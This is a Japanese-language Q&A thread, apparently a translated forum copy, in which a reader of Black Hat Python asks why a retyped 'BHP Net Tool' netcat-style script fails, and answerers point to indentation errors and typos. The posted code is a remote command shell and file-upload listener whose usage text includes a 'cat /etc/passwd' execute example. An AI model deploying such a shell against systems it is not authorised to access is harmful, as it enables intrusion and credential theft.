2016-08-17 5 views
1

次のコードは、黒い帽子のpythonの本で示されているスクリプトですが、一見して動作していません。私は電子ブックを読んでいるが、コードを5回書き直しても、まだそれを動作させることができない(電子ブックは何らかの理由でコピー/貼り付けを許可していない。) 。私はコードと本に示されているすべての例を試しましたが、同じ結果が得られます - 約1秒間黒くなり、次の行に通常のコマンドラインプロンプト( "C:\ Python27")が作成されます。私は現在Windows 10を使用しています。この本では、ユーザが "bhp.py -t localhost -p 9999"と入力してユーザにカスタムコマンドシェルを与えました。私のためにはうまくいきませんでした...私の質問を見ていただきありがとうございました黒い帽子のコードは実行されていませんか?

import socket 
import threading 
import sys 
import getopt 
import subprocess 

listen    = False 
command   = False 
upload    = False 
execute   = "" 
target    = "" 
upload_destination = "" 
port    = 0 

def usage(): 
    print ("BHP Net Tool") 
    print 
    print ("USAGE: bhpnet.py -t target_host -p port") 
    print ("-l --listen    - listen on [host]:[port] for incoming connections") 
    print ("-e --execute=file_to_run - execute the given file upon receiving a connection") 
    print ("-c --command    - initialize a command shell") 
    print ("-u --upload=destination - upon recieving connection upload a file and write to [destination]") 
    print 
    print 
    print ("Examples: ") 
    print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -c") 
    print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -u=c:\\target.exe") 
    print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -e=\"cat /etc/passwd\"") 
    print ("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135") 
    sys.exit(0) 

def main(): 
    global listen 
    global port 
    global execute 
    global command 
    global upload_destination 
    global target 

    if not len(sys.argv[1:]): 
     usage() 

    try: 
     opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",  ["help","listen","execute","target","port","command","upload"]) 
    except getopt.GetoptError as err: 
     print str(err) 
     usage() 

    for o,a in opts: 
     if o in ("-h","--help"): 
      usage() 
     elif o in ("-l","--listen"): 
      listen = True 
     elif o in ("-e", "--execute"): 
      execute = a 
     elif o in ("-c", "--commandshell"): 
      command = True 
     elif o in ("-u", "--upload:"): 
      upload_destination = a 
     elif o in ("-t", "--target"): 
      target = a 
     elif o in ("-p", "--port"): 
      port = int(a) 
     else: 
      assert False, "Unhandled Option" 

if not listen and len(target) and port > 0: 
    buffer = sys.stfin.read() 
    client_sender(buffer) 

if listen: 
    server_loop() 
def client_sender(buffer): 

    client = socket.socket(socket.AF_INET, socket.SOCK_STEAM) 

    try: 
     client.connect((target,port)) 

     if len(buffer): 
      client.send(buffer) 

     while True: 
      recv_len = 1 
      response = "" 

      while recv_len: 

       data  = client.recv(4096) 
       recv_len = len(data) 
       response+= data 

       if recv_len < 4096: 
        break 

      print response, 

      buffer = raw_input("") 
      buffer += "\n" 

      client.send(buffer) 

    except: 

      print "[*] Exception! Exciting!." 

      client.close() 

def server_loop(): 
    global target 

    if not len(target): 
     target = "0.0.0.0" 

    server = socket.socket(socket.AF_INET, socket.SOCL_STEAM) 
    server.bind((target,port)) 
    server.listen(5) 

    while True: 
     client_socket, addr = server.accept() 

     client_thread = threading.Thread(target=client_handler,args=(client_socket,)) 
     client_thread.start() 

def run_command(command): 

    command = command.rstrip() 

    try: 
      output = subprocess.check_output(command,stderr=subprocess. STDOUT, shell=True) 
    except: 
      output = "Failed to execute command.\r\n" 

    return output 

def client_handler(client_socket): 
    global upload 
    global execute 
    global command 

    if len(upload_destination): 

      file_buffer = "" 
    while True: 
     data = client_socket.recv(1024) 

     if not data: 
      break 
     else: 
      file_buffer += data 

    try: 
     file_descriptor = open(upload_destination,"wb") 
     file_descriptor.write(file_buffer) 
     file_descriptor.close() 

     client_socket.send("Successfully saved file to %s\r\n" % upload_destination) 
    except: 
     client_socket.send("Failed to save file to %s\r\n" % upload_destination) 

if len(execute): 

     output = run_command(execute) 

     client_socket.send(output) 

if command: 

     while True: 
      client_socket.send("<BHP:#> ") 

      cmd_buffer = "" 
      while "\n" not in cmd_buffer: 
       cmd_buffer += client_socket.recv(1024) 

      response = run_command(cmd_buffer) 

      client_socket.send(response) 

main() 
+3

インデントが疑わしい場合は、機能の一部ではないコードブロックがいくつかあります。インデントが正しいことを確認してください。 – cdarke

答えて

0

あなたの問題は、関数def client_sender(buffer)で始まるコードを関数def main()で作成したことです。しかし、本書に書かれているように、代わりに関数def main()の上に書かなければなりません。

これを試してください。

+0

関数が宣言されている順序はどうして重要でしょうか? – Tagc

+0

これはいくつかの言語で動作します。 Pythonでは、 'main'を呼び出す前にすべての関数が定義されていれば十分です。 – filmor

0

あなたは4つのスペースで、このブロックをインデントする必要があります。そして、あなたがタイプミスを持って

if not listen and len(target) and port > 0: 
    buffer = sys.stfin.read() 
    client_sender(buffer) 

if listen: 
    server_loop() 

stfinstdinでなければなりません。 このコマンドを変更すると、python script.py -t localhost -p 9999はスクリプトを開始し、buffer = sys.stdin.read()という行に分類されますが、プロンプトは表示されませんが正しいですか?それ以外の場合は、いくつかの修正が必要です。

0

問題はキーボード言語で、スペイン語ではContro-ZとEnterです。

+1

これはどのようにして質問に答えますか? – Dominique

関連する問題